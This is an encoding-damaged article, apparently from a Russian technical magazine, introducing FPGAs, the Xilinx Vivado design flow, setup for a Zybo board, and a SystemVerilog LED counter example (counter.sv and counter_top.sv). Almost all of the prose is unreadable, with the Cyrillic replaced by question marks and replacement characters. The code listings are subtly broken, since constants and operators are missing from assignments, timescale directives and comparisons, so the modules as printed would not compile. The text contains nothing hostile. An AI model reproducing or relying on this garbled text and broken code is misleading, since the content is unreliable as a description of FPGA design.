?????,��?????�?????�??�??�?�??�?�??�???�?�??????�?�??????�??�???�
???�???�????�???�??��???�??�????�?.
???� ????� ?????� ???�??�???�??�?� ?� ???�?????�???�???� ?????�????� ????�
????�??燙PU�??�???�?�??�???�?????�????��?????�???�???�????�?????�
???�??�?.�??�???�??�??�?????,�??�?�??�??�????�??�???�??????�??
???�????燙PU�????�???�??�?�????�?????�??�??�????,�??�??�??��???�
????�??�???�??,�?????�???�?�??�??�??�?�????�??�?��????,��???�
???�????�??????.
??� ???�??� ???�???� ???????�?� ASIC.� ??� ????� ????�????� ???�?????� ?????�
????�????�???�?�???�??�?�?�???�??�???�????�????�???�????�??,�??
???�????� ???�???� ????�?� ?� ?????�???�?� ????�??�?� ?� ???� ???????� ????�
??????�?� ????�???� ???.� ????�?� ???�?????�??� ???�???�?????�????
?� ???????�??� ????�????�????�??� ????�????.� ?� ???� ?????�?????�???????
ASIC�????�????.
????�?� ??� CPU� ???????�?� GPU.� ????�???�?� ???� ???�????�?� ????� ????�
??????�?� ???� ????�??�?� ???�???,� ??� ???�??� ??????�???�?� ?� ???� ???�??�?
?????�????� ????�?� ???�??????.� ???� ???�???� ??� ?????� ??????�??� ??????�
??????�??�???��????�???�????�???�??�??�????�??�??�????�??�??.
??�?�???�???�??�?�??�????�?????,�?�?燝PU�??????�?�?????�?�???�
??????�???� ????�????� ??� ????�????� ?� CPU.� ?� ???�??� ???�???,� ???�??????�
????�??� ????�??�?� ?????� ?????�???�???�?� ????,� ?????�?� ????�????� ????�
????�???�????�??�??,�??燙PU.�??�?�??�??�????�?�??燝PU�???�????
???�????�??�?????,�????燨penCL�??燙UDA.
??�????,� FPGA.� ???� ????�????� ??????�?� ????????�????� ASIC� ?� ????�
?????????�?????�???�????.�???�?�??�??�???�?,�?�????�??�?�????
????�??�??��????,�??????�?�??�????�?????�???�??�??�??�???�??????�
?????,�??�?燙PU��???燝PU.�???�????�??�????�?�??燜PGA�???,�????�
??�????�????�??�??�????�?�???�?�???�??�??�???�?.
??�?????�?�??�??�??�??燜PGA��??�??�??�????�???�???�???�???�
???� ?� ???�?� ??� ???�????�??� ?� ????????�??� ?????�???� ????�??.� ?� ?????�??
???�???� ??????� ????�?????� ?????� ???????� ???�??�???�??� ?� ????�??
???????�???�??�??:�??�??�????�??�?????燛thernet�?�???�?�??�??�??
????�?????� ???�?????� ???�??�??� ???�??,� ????�?� ???� ???�???� ?????�??
????.�??�????,�??�???�???�???�????�?????�??�????�?????�??�?????�
?????�????.
??�???�??????� FPGA� ???�???�?� ??????� ???� ??????� ????�??�?:� ???�?
??????� ???� ????�?� ??????� ???�?????� ?� ???�????�?� ??� ??????�?� ????????�?,
?� ???� ??????�??� ???� ???�???�???�?.� ??????�??????� ???�??�????� ???� ?????
?????�???�?� ?????�???� ???�????� ????�??�?� ??????�?� ???�???.� ????,� ???
???� ???�??�???�????� ???�?� ???�???� ?????�??� ???�????�?� ASIC,� ???????
?????� ????????� ?????�??� ????????�?,� ??� ???,� ????� ???�???� ????�??�?
???????� ???�??� ??????�??� ???�???� ???�?????� ???�????� ?� ??????�??
?�??????�??�???�?????�?????�??????�???�?燜PGA.
??�??� ????�??,� FPGA� ??????�???�?� ???,� ???� ???�?� ???????� ???�????�
??????�????� ????�??�?� ???�??,� ???????�??� ???�?� ????�??,� ?� ???�?� ???�??
????�????�????�??.
FPGA營N燭HE燙LOUD
?� ????????� ?????�???�?� FPGA� ???�???�???� ???� ???�??�?� ???�?,� ????�????
??????�?� ???�???� ?� ???�???�??�??� ???�???� ?� ???�????� ???�??.� ????� ??
???�?� ???????� ??????�??????� FPGA� ???� ??????�??�?????� ???�????� ??� ????�
???.��??�???�????�???�?�??�?燜PGA�燩CI燛xpress��???�??�??�??????
????????�??�??�?????�??營ntel�(Altera)�??燲ilinx.
??燜PGA�??????�????�?�???�????�????�??�???�??�?,�???�????�???�
??????�???�??�??� ???� ?� ????�??� ??????� ???�?� ??????�??�??� ??????�?.
?燤icrosoft�??�?�?????�???燜PGA�??� ??�??????�???�?????�??�???燘ing,
?�??�?�??�???�???�??燬oftware燚e?ned燦etworking�???�?�???�?燗zure.
???�????�???�??�????�???�?�??�??�??�????燜PGA.�??�????� Xilinx
?� Intel� ????�???�?� ?????�??� ??� ????�?� FPGA� ???� ??????� ?� ???�???�?� ????�
??????�?.� ???� ???�???�?� ????????� ???�??�?� FPGA,� ???????� ?????�???� ??
???�???�???�??�????�?�???�???�??�??�?燙a?e�燭ensorFlow.
???�??� ???� ???� ???�?� ???�???????,� ??� ??????� ??� ????� ?� ??????�??
????????� ???�???.� ???�????,� ?� Amazon� ???�?� ????�?????� ???�????�??
??????��??�????��??�?燜PGA��????�????�???�??�????�?,��??�??�?
?爉achine爈earning.
FPGA燨N燭HE燛DGE
???�??�???�??�??�???�?�?燜PGA?�?�???�???�?�?�???�?!�?????�???�
????,� ???�????�??� ????�???�?,� ???�?,� ????�??� ???�???,� ???????�???� ????�
????,� ????�???????�???� ??????�??� ??????�???,� ?????� ??????� ????�????�
???????��??�????.
???�???�???� FPGA� ???�???�???� ???� ???�????� ????�??�?� ????�??�??
???�????� (?� ???�?????�???� ?� ???�??�?????� DSP)� ?� ??????�????� ????�???�
?????,�??�??�???�??�????�???�???�????.��??�??�??????�??�??�?????
?�??�???�???�??�???�?????�??�?�???�????燜PGA�??�?�??�???�?�???�
??????�?�??�??????�???�???????�??�????�????,�??�????�??�???�??�?
???�??�??�??�????牜??�???�???�?粻(edge燾omputing).
???�??�?????�??�?�??�?�?????�?�??�???�???�??�???�??�??�???
????�?????�???�??�???��??�??�?�??�????�????�??????�????.�??�?
?????�?????��??�????????�?????�?�????�????燛thernet��???�???�???
?????� ??� ???�??�??� ???�???.� ?� ???�??� ???�?� ?????� ?????� ???�?� ?� ???�????
??�???,�??�????�??�??�?��??�?�??�???.
????�?�??�?�??�?�????�?????�??�????�????�??????�?�????�?????,
????�??�?????�??�?��??�??�???�??�???,��?????�???��???�?�?????
?????��??�???�??�??.�??�??�?�???�??�?�????�???�?????�?�??????�
???� FPGA� ?� ???�??� ????�????�????�???,� ???�?� ????�???� ????�???�????.
???� ????� ????�???� ???�???????� ????�???� ??????� ??????� FPGA,� ???�????,
???�???�????�???�????�???�?????�??�??????.
???�?�?????�??�???��??�??,�?��???�??�?�??�??�??�??�?�??�?
?????�???� ???� ????�??� ?� ???????� ???�???�?????�????� ?� ???�??� ????�?????�
?????�??.� ????�????� FPGA� ???�????� ???� ????�?� ???�?� ?� ?????� ???????�
??????�?,� ?� ???�???�?,� ???� ???�????� ??�??�??� ???�???�????� ???� ???�?????�
?????.�??�??�??�???�?�???,�??????�????�??�?????�??????�?�???.
???�????????????�?????�?燜PGA?
??�??�??�?� ???�??� ????�?� ???�???�???�??:� ???�??,� ????�??� ?� ???????.
???�??� ???�???� ????�?????�?� ??????�??????� ???�??� ????� Verilog� ???� VHDL,
??� ???????� ??� ???????�??� ???�????�??� ??� ????�?� ?????�??�??� ???????
(RTL� ?� register� transfer� level).� ?� ????� ???�??� ??� ???�???�??� ?????�??,� ???� ?
???�??�???,��???�???�??�??????�??�??�???,�???�?????�??�??�???�
??�???.
???�?� FPGA� ????�?� ??????�?� ??� ????�????�??� ???�????� ???�????� (?????�
??� 100?300� ???),� ?� ??� ????�?� RTL� ??� ????�???�??� ??????�??� ???�?� ?� ????�
??????�?�??�?�??�?????�??�???.�??�??�??�????�?????�??�????��???�
?????� ???�?????�?� ????????�??� ????� ?� ???�?� ???�??� ???�???�?????�??�?,
???�????�??� ?????�??� ????�????� FPGA� ?� ????�????�????�??.� ??� ???� ????�
????�?�???�????�???�?��??�????�???,�?���???�??�???�????�???.
??�???�??�???�?�?�?????�??�?��???????�????�???�?�??�??????
????�??� ???�??,� ???????� ?????�???� ????�????�??� ???�???,� ???� ??????�??
???�??�???�??�??�????�??�?�??�???�?�???�????�(system?on?chip).
??� ???????� ????�?� ???�???�???�??� ??� ???� ??� ??????� ???�??�???�???
???�??� ??� ???�??� ???�?,� ????�?� ???�?� ????�??�??�????�?� ??� ????�??�?.
?????�??�?�??�?????�?�??�???�??�???��??�??燙�燙++�?�??�???燫TL,
???�????� Vivado� HLS.� ??� ??????�?� ?????� ?� ???�???�?� ????�??�?????
??�???�??�??�??�???�??????�????�???�??�??.
????�??� ???�??�??�??� ??????� ???�???� ?????� ???�???� RTL� ?� ????�????
???�????�?��??�??�?�??�?????�??�???�??�?:�??�?燙++�??�?�????�???
?� ??????�???�???� ??� ?????�??�?,� ?� ???� ?????� ???�???� ???�???,� ???� ????�
????????�???�????�???�??�?�?�???�?燫TL.�?�????�??,�????�?,�??�???�
??� ???�?????� ?� ???�?� ?????� ????????�?� ??� ?????� ???�???� ?� ???�??� ????�?
????�??�??�????�??.
???�?� ??� ??????� ???�???� ???� ????:� ????� ???�??�?� ??????�?????� ????�???�
???,� ??� ????????�????� ??� ????�?� ???�??�???,� ?� ?????�??� ?� ???�????�??
FPGA� ???�????�?.� ?� ?????� ????� ?� ???�??�??� ??????�????� time� to� market
???�??�???�???�???????�??.
???�?� ?� ?????� ?????�?� ???�?� ???�??????� ???� ???� ???�?� ???�????�?.
?????�??,� ???� ???�?� ???�???� ??????�???,� ???????� ??� ???�?� ??� ?????�??
?� ??????� ?� ????????� ???� ???�??�?????� ???�????�???� ???�???� ?� ????�???�
????� ?� ???�????,� ?????�??� ???�?.� ????�??� ???�????�?� ????�???�???
?�??�??�??�?�??�????�燜PGA.�??�??????�????�?????�?????�??????
HDMI,�???�??�??�??�??�燜PGA.
???�?� ?� ??????� ?????� ??????�???�?� ?� FPGA� ??� ????????�?,� ???????
??????�?�???�????�??�???�???�??�??�???�(USB�??�?�????),�???�????�
????�?� ?� ????????�?� ??� ???????.� ???� ????�??�?� ???�??� ??????�??�?� ?????�
???�??,�??????�???�?�??????�?�?�???�??�?????燚DR,�???�??�?????
??�????�??�??�?�????��??�????�??燜PGA.
??�??�??�???????�?�??�???燜PGA
??�?� ???�???�?????� ????�???�???� ??� ???�??�????�?� Interface� IP� ???� ?????
???�????�?燜PGA,�?�??�??�??�?�?????�??�????�??????�?�?�??�?燫TL,
???�??� ???�?,� ????� ?� ???�?� ?� ????�???�???� ??� ???�???�???�?� ???�???�?
??????�?�??�??.�??�?燩reprocess,燚DR燙ontroller�燞DMI營P�?,�??�??�???�
??,�???�??�??????��???�?�????�??�?�???????�?.��???燞LS,�??????
?????�???� ?????� ?� ????�??�?� ???�???�???� ???�??,� ??� ?????� ????????
??燙++��???�??�?????�??�?????燰ivado燞LS.
???�??� ???�?,� ???� ???� ???�???�???� ????????� ???????� ???�????�?� ??????�
????��???�?????�???�????�??�??�??,�???�??????�??�??�?????�??????
?燜PGA.��???�??�???�,�????�?,�??�???�???�?�???�??�??�???????�?
?????�?,�?�?????�?????�??�???�???�??�??�??.
???�???�??� ????� ???�???�???�??� ??� ??????�??� ????� RTL� ??� ??????�??
???�?????�???�???�??�?�??�??�????�燜PGA.
????�??�???�???�??
????,�?�?????�??燫TL,�??????�????�???�??�??�???�??�?.�???�?�??
???�??�?????�?�????�??�?????,�???�??�???�?,�??�?�??�??��??�???�
???� ????�?� ???�?????� ??????.� ???� ???�?� ??????�???�?� RTL???????�???�??
?�?????�???�?�????�??�?.
??� ??????� ????� ???�?,� ????�???�?????� ????� ????�?� ?� ????� RTL,
?� ??????�??� ??� ??� ???�????�??� ?????,� ???� ????�??� ???�?????�???�??�?
???�????� ???�????� ??� ???�?� ???�?,� ?????�??�????� ?????�??� ????�????,
??????�??�?� ??� ???�???� ?????�??� ???�????� ?� ????�???�??� ?� ???�????�?
??????�?????.� ????�?� ??� ????????� ????�?� ?� ???�??�????�?� ?� ??????�??
RTL.
??�??� ???????�?� ??????�???�??�??� ???� ????�???� ??� ????� ?????�
?????????�?????�?.� ???� ???�???�???� ???�??�??� ???�????� ???�?� ?� ???�???�
???�??�??�??�????�??�??�??�?�??�????�?,�??�?????�??�??�???�????�
?????燜PGA.��???�???�?�????�???�?????�????�??�??�?,�??燣UT,�????�
????,��??�?�??�?�???.�?�???�??�??�??�??�?�???�????�?�??�???�?
?�??�???�??�???�??�??�????�??.�??�?�??�??�???,�??�???�?�???????
??�??�?�???�???�??�(Constraints)���??�???�?,�??�???,��?????�???????�
????�??�????�?�??�????????�??�????�?燜PGA�??�???�??????�??�??�?
?�?????�??�?�??�?.
?� ????� ????�???�???� ???�?� ???�???�?� ???�???,� ??� ?????� ???�????� ???�????
???�??� ????????� ???�?.� ?????� ???�?????�?� ?� ????� ????�???�??� ????�???
???�??�???� Implementation,� ???????,� ??????� ???�???,� ??????�???� ????�
??????�?��???�????�??�(Place燼nd燫oute).
???�???燩lace�??�??�???�??�???�????�??�??�???�?爊etlist�??�????�
????� ?� ???�???�???� ???�??�?� ????�?� ???�????�?� FPGA.� ?????� ??????�?
??????�??�???燫oute,�??????�???�???�??�?�???�???�??�????�????�???
???�??�??� ???� ????�???�??�???� ???�?????�??� ???�?????�????� ???�???
????.
Place�燫oute�??�???�?,�???�?�?�???�???�??,�??????�??�???�?�???�
??:� ???�????�?� ???�????????� ?� ???�????� ???�????.� ????�?� ???�????� ???�???
?????�???�?�??�??�?營mplementation:�?�?�??�??�???�???�?,�??�???�
???�??� ?????�??� ??� ???????�??� ???�??�??� ?� ???�????�??� ????� ???�?� ???�?
???�?????�???�???�???�?????.
???�?�??�?�???�????�???�??�??�???�??�?�??�???,��??�?�???�???�
????�?� ??� ??????�??� ????� ?� ????�???� ???� RTL:� ???�????,� ????????�?� ????�
??????�?????��??�????�??�???.�??�?�??????�?�????�????營mplementa?
tion�??�????�??,�????�??�??�?�??�??????�?��??�??�??�???.
????�?�??�?�??�?�????�???�?�??�???�??�????�????�???�??�?�???�
???�?燜PGA.�???�???�??�??�?????��????�??�?????��??�?????,�??????�
??�?�??�??,�??�??�?????.�???�?�???�??�?�??�???�?�???�???,�???�
???,�?????�???�??�???�????�??��?�???�??�?�?�???�????�???�??
????�?��?????�?.
???�?�??�???�?�?�??�??�?????�??��??�???�?????�??�?????�????�
????,��???��??�?�??�???�?,�?�???�??�??�??�??�??�?????�???????
???????� ?????�???�???�?� ?� ??????�???� ??????.� ??� ??????� ???�???,� ?????
???�???� ??????� ?????�?????� ??� ???�???,� ?� ???�?� ???�????�?� ???�???�???
?????�?????�??� ???�?� ???????�???� ???�???�???,� ???????� ???�???�???
??�???�????�????��??�?�??�?????�?????�??�??,�??�??�???�?��????�
????�???�???�??�????��??�???�?�?�??�????�?�??�???.�??�????�??
???�??�??� ????�????� ???�??� ???�????� ???�?� ???�?????� ??� ?????�???
?�??�??�???�?????.
??�??�??�?��?????�???�????�????�??�??�????�?�(HLS,燞igh?level爏yn?
thesis),� ?� ????� ???????� ????�???�?� ???� ???�????� ???�??????� ?� ????.� ???
?????�??� ??� ??????� ???????� ???� RTL� ??� ???�??� VHDL� ???� Verilog,� ???????
????�?�???�???�?�?�????�?燬ynthesis�營mplementation�燘itstream爂ener?
ation.�??�???�?�??�?�???�?????�?,�?,�??�?�?????�?????�?�????????�
??,�???�????�???�?�???????�??�???�???�????��??�??�???�?燫TL.
???????????�??????
??�????,�?????�???�?�???�??�??�?????!��??�?????�?????��??�??�?
?� ????�???:� ??� ???�?????,� ???� ???�???�?� ???�?� ??????,� ???�?� ???�??????�
????????燜PGA.
COVERSTORY
FPGA
???????�?????????�??????
?燲ILINX燰IVADO,�????�??????
???????????�?????????�???
??�?�?�?????�???�?????�??��??�?????�
??,�?????�??燜PGA,�?�??�?????�??????
????� ????�??�?� ??� ???�?� ???�??�??�???.
??� ???�????� ????�??�??� ?????�??� ?????�
???,� ???�??�??� ???�???� ????� ?� ?????.
????????�??�?�??�?燰erilog�?�??�????�
????�?� ?� ???�?????�?� ?� ???�?� ???�????�?
Xilinx� Vivado.� ????�?� ???�??????�?� ?� ????�
???�??� ???�????�?� ???�??�?,� ?� ??????�??
???�?�????�??�?????�?�???�??�??�???�
??.
????�???????
??????????燜ast燬ense燬tudio
yarumyantsev@gmail.com
INFO
?� ???,� ???� ?????� FPGA,� ???� ???� ?????�??
?� ??????� ??� ???�??� ???�???� ???� ????�????�????�
???,� ???� CPU,� GPU� ?� ASIC,� ?????� ?� ???�???�??
??????:牜FPGA.� ???�???�???,� ???� ?????�??� ?????�
?????�?????� ???????�??� ???�?� ?� ???� ???
??????�.
???�??�???��???�?�???�??��??�?????燴ybo燽oard,�?�??�????�???????
??� ?????� ???�????�??� ???�?� Xilinx,� ???????� ???�????�???� Vivado.� ????
??????�??�?�???????�???�???�???�??,�?????�??,��??�?�?????.
???�?�??�???��??�???�???��??�???�????�??�???.��??????�燯buntu
16.04,� ??� ?????�??� ?� Windows� 7� ???� 10,� CentOS� 6� ?� 7� ???� SUSE� ???�?????
???�??.
?????????????燰IVADO
???�??�????�??�????燰ivado燚esign燬uite�燞Lx燛ditions��18.2燜ull燩rod?
uct營nstallation�??�??�?�?� ??�???�(??�????�???�???� ???燣inux�� ???燱in?
dows).
??�??�???�??�??�??�???�??????�??�?????�?�?�??�?.
???�???�???�???�??�????��??????�??�???�?????�??�???�??�??�??
Vivado�燱EB燩ack,�??�?�?????�??�???�????�?�???�???�?�?�???�??
???�??,� ??� ???�?� ????�???�??� ??� ???�??� ?????�?.� ???� ???�??,� ???� ????�??
?� ???� ???�?� ????�???�?????,� ?� ??????� ???�?????,� ???� ???�?� ????� ??� ????�
????,��???�?.
????�????�???�??�?燰ivado�18.2
?� ???�?� ????�??�?� ?????�???� Vivado� License� Manager,� ???�?� ???� ???�?
???????� ?� ??� Vivado� ?� ?????� ?????�?� Help� ?� ????�??� ????.� ????� ???� ???�?
???�?????�???�????�??.�????�??�????�?.
?????�???�???爃ttp://www.xilinx.com/getlicense
1.�?�????�?爔ilinx.com,�?????�?�?�??�?????�???�???.
2.�?�???�?�???�???�??.
3.�??�??�????�?�??�????燰ivado燚esign燬uite燞L:燱ebPACK�15燼nd燛arlier
License��???�?燝enerate燦ode?Locked燣icense.
4.�?�??� ??????�???� MAC� ???�?� ???????� ???�?� ???� ????�?????�??� ???�?
?�?????�???�???�????�??,�??????�?�??�?�???????�?�??�?.
5.�?�????�???�????�??�燰ivado燣icense燤anager,�???�?燣oad燣icence�
Copy燣icense.
?????燰ivado燣icense燤anager�?�??�??�??�?
??�???燰ivado�???�??�???,��??�??�?�??�???�?,�??�??�??�??�??�?????�
????�?.
??�??�???�??�????�燣inux��????:
$爏ource�$XILINX_INSTALL_PATH/Vivado/2018.2/settings64.sh
???� XILINX_INSTALL_PATH� ?� ???�?� ????�??�?� Vivado.� ??????� ???� ?????�?
???�????�?�???????爒ivado.
???�?� ????� ????�?????� ????�???� ??????� USB� ???� ???�????� ???�??�?.
?燱indows�??�??�?�???�?�??�??�????�?營nstall燙able燚rivers�?�??�?�????�
???�?.�燣inux�??�???�??�???�?��??�????��??�???�??�?????:
$燾d�$XILINX_INSTALL_PATH/Vivado/2018.2/data/xicom/cable_drivers/
lin64/install_script/install_drivers
??�???�??�??�???�???�??�??�?燴ybo:
$爏udo�./install_digilent.sh
?????????�?????��?????????�????
??�???�???�???�??????�?????�????�??�???�??��?????�???�??�?????�
????� ???�?� ?� ???????� ???�????� ??� ???�???�??.� ????�??� ?????� ???�???�??:
????????� ??� ?????� ??� ?????� ???�????� ???�???.� ???� ??????� ?� ??????� ????�??
???�??� ????�???� ????� ???�????� ??� ???�??� ????�?� ???�????� ???�???,� ?� ????
???� ?� ?????�?,� ???�?� ??� ??� ???�??� ???�????� (???� ???�???� 125� ???� ???
???�??�?�???�???��??�??�???).
???�?� ???�????� ???�???� ?� FPGA� ??� ?????� ????????� ???:� ???�??� ?????�?
??????� ???�???�??� ?????�???�???� ?� ????�???�???� ?� ?????�??� ????�????�
????�?� ???�????� ????�???.� ??????� ???�???�???,� ??� ???�?� ????� ???� ????�?
?�??�??�?.�??�??????�?�???�???�?�???�??�???�???�???��???.�???
??�??�??�??�??�???�?�???,�??�??�??�???��???�?�??�????�??�??�?.
???�?�???????�???????�??��????�???�??�??�燣inux,�??�??�?�???�?
?????�????�?:
$爂it燾lone爃ttps://github.com/urock/rtl_examples.git
$燾d爎tl_examples/counter_sv/vivado
$爏ource�$XILINX_INSTALL_PATH/Vivado/2018.2/settings64.sh
$�./create_project.sh
?� Windows� ?� ???�?� ?????�????� ?????�?� create_project.sh� ????� ???????
???�????�??� ???�?????�??� ????� ??� ????� �???粻 ?� ??� ???�?,� ???�?????
??� ???�?� ????�??�?� Vivado,� ?????�?� ?� ?????�????� rtl_examples/coun?
ter_sv/vivado,�??�????�???�????�?�?�??�?燾reate_project.sh.
?� ???�?????� ?????�???�?� Vivado,� ???�???� ???�??,� ?????�???� ?� ????
????????�??�?.�????�????�???�?燰ivado燭CL爏hell,�????�??�??�????�?
start_gui,�??�?�????�?��????燝UI.��???燜low燦avigator�???燬imulation
?� Run� Simulation� ?� Run� Behavioral� Simulation� ?� ?????� ????� ???�????� ????�
?????.
???�???�?�??�????�??�?????�???�??
?� ????� ????� ????�???�???� ??????�??�?� ??� ???�???� ???????�??� ???�????
????�?�????�??�?�???�???.�?�????�??�????�??�??� clk,�??�??�???�?
reset,�??�??�??�??????�?????� enable,�??�??�?????�??�????�??�??�?
dir,� ???�??� cnt_en,� ???????� ????�???�?� ???�???� ?????�??????� ?????� ?????�
????,�,�??????,�??�????�???�???,�??????�??�?�?????�??�???�??.
??�??� ???�?� ???�??????� ??� ????????� ???�?!� ???�???�?� ??????�??
?�???�??��???燬ources.
??�?????�??�?�??�???
?�??�???燚esign燬ources�????�???????�??�?燫TL�?�??�?燬ystem燰erilog:
counter.sv� ?� counter_top.sv.� ?� ???�??� ????�???�?� ??� ????�???�???
??????,�??�??,�??�??�?,�?????� counter� ???????�?� ????�?� ??????� coun?
ter_top,�??�???�???�?�????�??�??????�??�???.
?� ???�???� Constraints� ???????�?� ???�?� ????�???�??� XDC� (Xilinx� Design
Constraints).� ???� ???� ???�???�???,� ?� ???� ????�???�???� ???�?� ???�????�?,
?� ???????� ???�??� ???�??�???�?� ???�?� ???�????????� ???�??�?� ????�?� RTL
(top爈evel)��???�?�??�?????�??�???.
?� ???�???� Simulation� Sources,� ??????� ?????� ???�??� RTL,� ??� ?????
???� ????� ???�???� ?????�??� ?� ?????� ???�???.� ???� ???� ??????�???� test�
bench� (tb)� ?� ???�????�??� ?????,� ????� ??� ?????�???� ??????� counter_top.
????� ????�???� ???�????,� ???� ??????� counter_tb� ??� ???�?� ???�??� ????�
?????????:�???�??�??�???�??�????�??�?�??�???�???�????�???�???�?
?????�??�?�??�?燬ystem燰erilog.
???�?????�?�??燾ounter.sv.
timescale�s�/�ps
module燾ounter
#(parameter
牋WIDTH��)(
牋input牋logic牋牋牋牋牋牋牋燾lk,
牋input牋logic牋牋牋牋牋牋牋爎eset,
牋input牋logic牋牋牋牋牋牋牋燾nt_en,
牋input牋logic牋牋牋牋牋牋牋燿ir,牋牋牋
牋output爈ogic燵WIDTH?1:0]牋燾nt_val
);
always_ff燖(posedge燾lk)燽egin
牋if�(reset)燽egin
牋牋燾nt_val�=�
牋end爀lse燽egin
牋牋爄f�(cnt_en)燽egin
牋牋牋牋if�(dir)燽egin
牋牋牋牋牋燾nt_val�=燾nt_val�+�
牋牋牋牋end爀lse燽egin
牋牋牋牋牋燾nt_val�=燾nt_val��
牋牋牋牋end
牋牋爀nd
牋end
end
endmodule�//燾ounter
???�????�?????� counter�?????�???��???�???�??�??�??????�??��???�
???�??�????????.�???????� WIDTH�???�???�?�?????�??�?�????�??�????�
????.� ??� ????�????� ???� ???�?� 4,� ???�???�???�?,� ????�??� ?????� ???�?????
???�????�??�??�?�?�?�.
??�??� ????� ????� always_ff,� ?� ???????� ????�???� ???????� ????�???
cnt_val.�?�????�????�?????�?�???�?�?�????�???�???�?�??�???�???�
???�???�??燾lk.�??�??�???�?爎eset�??�?�??????�??�??�??�??�??�???�
???????�??�???燾nt_val,�???�?�????��?燾nt_val�???�???�?.��??�???�
???�??�??�???�??�??�??�??????�??�?燾nt_en�????�??�???,�?燾nt_val
???�???�???�?�??�????�???�?�?�
???�?�????�???�???�???�??�???�??�??�???�??燾lk�???�??�??�????�
??�???�??�????�?????�???�?�??�??�???�??�??�????.�???爎eset���?
????�??� ?????� ??????� ????� ???�????� ??� ???�??� ???�?,� ??� ???????� cnt_en� =�
1.
??�???�???,�??,�???????�??�????� cnt_en,�??�?�?????�??�???�?????�
???????�???�???.�??�??�??��??�???�??��?????燾ounter_top.
timescale�s�/�ps
module燾ounter_top
#(parameter
燱IDTH���
燚IV牋��5000000
�)(
牋input牋logic牋牋牋牋牋牋牋燾lk,
牋input牋logic牋牋牋牋牋牋牋爎eset,
牋input牋logic牋牋牋牋牋牋牋爀nable,
牋input牋logic牋牋牋牋牋牋牋燿ir,牋牋牋
牋output爈ogic燵WIDTH?1:0]牋爈eds
);
//營nput燾lk爁requency��5燤Hz
//燭hat爄s�5燤爐icks爌er爏econd�
//燤inimum燽it爈ength爁or�5M爄s�燽its�
logic燵26:0]牋燿iv_cnt;�
logic牋牋牋牋牋div_clr;
always_ff燖(posedge燾lk)燽egin
牋if�(reset)燽egin
牋牋燿iv_cnt�=�
牋end爀lse燽egin
牋牋爄f�(enable)燽egin
牋牋牋牋if�(div_clr)燽egin
牋牋牋牋牋燿iv_cnt�=�
牋牋牋牋end爀lse燽egin
牋牋牋牋牋燿iv_cnt�=燿iv_cnt�+�
牋牋牋牋end
牋牋爀nd
牋end
end
assign燿iv_clr��(div_cnt�=燚IV)��b1��b0;�
counter�#(
牋.WIDTH牋牋牋(WIDTH)
)燾ounter_rtl�(
牋.clk牋牋牋牋(clk),�
牋.reset牋牋牋(reset),�
牋.cnt_en牋牋�(div_clr�&爀nable),�
牋.dir牋牋牋牋(dir),�
牋.cnt_val牋牋(leds)
);
endmodule�//燾ounter_top
???��?????�??�?�??�?�??�?�???�???�???�??�??????�??��??�??�???�
?????????.� ????????� WIDTH� ??� ???� ???�?,� ????????� DIV� ???�???�??� ????
???�?.�???????�???�??�???�?????燾ounter_top�??�????�???�?��????�
???� ???�????�??� FPGA.� ??� ????� clk� ????�???� ???�??� 125� ???� ??� ????�???
????�?????� ??????�???,� ????� reset� ???�??�??� ?� ????�?� ????�?,� ???�?� en?
able�� dir���??�??�??.�????� leds[3:0]�??�??�??��??????�??�????�
????.
??�???�??�?????,�??�?????� counter�????�???�?�???�?�?????� coun?
ter_top� (?????� ???�?,� ????�?� ?� 35� ??� 43).� ??????�???� ?????�?� ?� ???�?
??????,� ?� ?????� ???�??� counter.� ?????� ????� ????� ???�????� ???????�??
??????.� ?????� ???�????� ???�???�???� ?????�??�?� ?� ?� ?????� ???�??� coun?
ter_rtl.
INFO
????� ?� ???� ??� ??????� ?????� ????� ?????�??
?� ?????�?� ???�???�?� ???.� ??????� ?� ????�??�??
?????�?� ???� ????� ???�???�???,� ?????�?� ????�
?????� ?????�??�?� ???�??� ???� ???�??� ????� ????�
????�??.
????�?�???�???�??�??�????�?????�??�??�????�?????,�??�??�???�??
?????�?��??�???�?�??�??�??�????????�???�?????,�??????�????�???�?.
???�?????�??�????:�??�?�??�?�???�??�??�?,�????��???�??�??�???�???
??????�??�??�??�??�????�????��???�??�??.
??�????,�??�??�?� clk,� reset,� dir�� cnt_val�????�??�?� counter_rtl
???�??�???� ???�????� ?� ???�??� ???�?� ??????� counter_top.� ????�?� ??????
???�???????�???�??�?�??�????????�??�?�??�???�?????�??�?????�??
???�???.���??�?� cnt_en�??�??�??�??�??� div_clr�&爀nable� ?� ????????�
???牜?粻???�????燿iv_clr�爀nable.
??�???�???,� ???� cnt_en� ?????� ?????� ???�???� ???�?� ?� ????�?� ???�?,� ???�?
???� ???�???� div_clr� ?� enable� ???�?� ???�???.� Enable� ?� ???� ???�??� ?� ????�
???�?,�?�???�???,�???�?????�??�?,�?????�?????�??�??�??????�??�???�
?????�??�?�?�??????�?.
?�??燿iv_clr�?�???�?????�?�???�???�???,�?�????�??�???,�??�?
????�??� div_cnt� ???�????� ??� ???�????� ???????�?� DIV,� ???�???� ???�???.
?�?????�??�??�?燿iv_clr�????�???.
DIV� ??� ????�????� ???�?� ???�????� 125� 000� 000,� ???� ???�?� ???�???� ????�
??????� ???�???� 125� ???.� ????�??� div_cnt� ????�???�???� ???�????� div_clr,
?�??�??�??�??�??�?�????�??�???�???�??�??�???�??�?????�??�???.
??�???�???�??�?????:燿iv_cnt�??�???�?�??�?�?�?�4�9�9,燿i?
v_clr� ??� ????� ????� ???�?????� ???�???� ???�????�?� ?????� 1,� ?� ???�???�??
???� ???�?� ????� ???� ?� ?????�?.� ???�?� ?� ???� ??????� counter� ???�??� cnt_en
?????�??�??????�?�??�?�?�???�???�??�??�????�?,��???�??�????�????�
????�???�??�????�?�??�???,�??�?��??�??��?????.
?� ????�??� ?????� ??????�??� ???�?� ????�?� ???�?????,� ????�?� ???�???
??� ???�???�?� ???�????.� 125� ???�?????� ???�??� ????�?� ???�?????� ??????�?,
?????�?�??�?????�??��????燚IV�??�??�燾nt_en��???�????�??�???
???�??� ????� ???�??.� ??????� ???�?� ???� ??� ????�?.� ????�????� ????� ??????
?� ????� ???�???�?,� ???�?� ???� ?� ?????�???�?� ?� ????� counter_tb.sv,� ???� ???
??????�?�???�?,���???�??�?�???????�??�??�?�??燜PGA�???�?.
???????????�??��??????????�????????
???� ??� ???�???,� ???�?????� ?????� ???�?� ??????�???�??� ????� RTL� ?� ?????�
?????� ???????�??� ???�??� ????� ???�??� ???�?.� ??� ????� ????� ???�???�???
????�???�??� RTL� ?????�???�?� ?� ????� ???�??�???� ??????� ???�????�??� ?????�
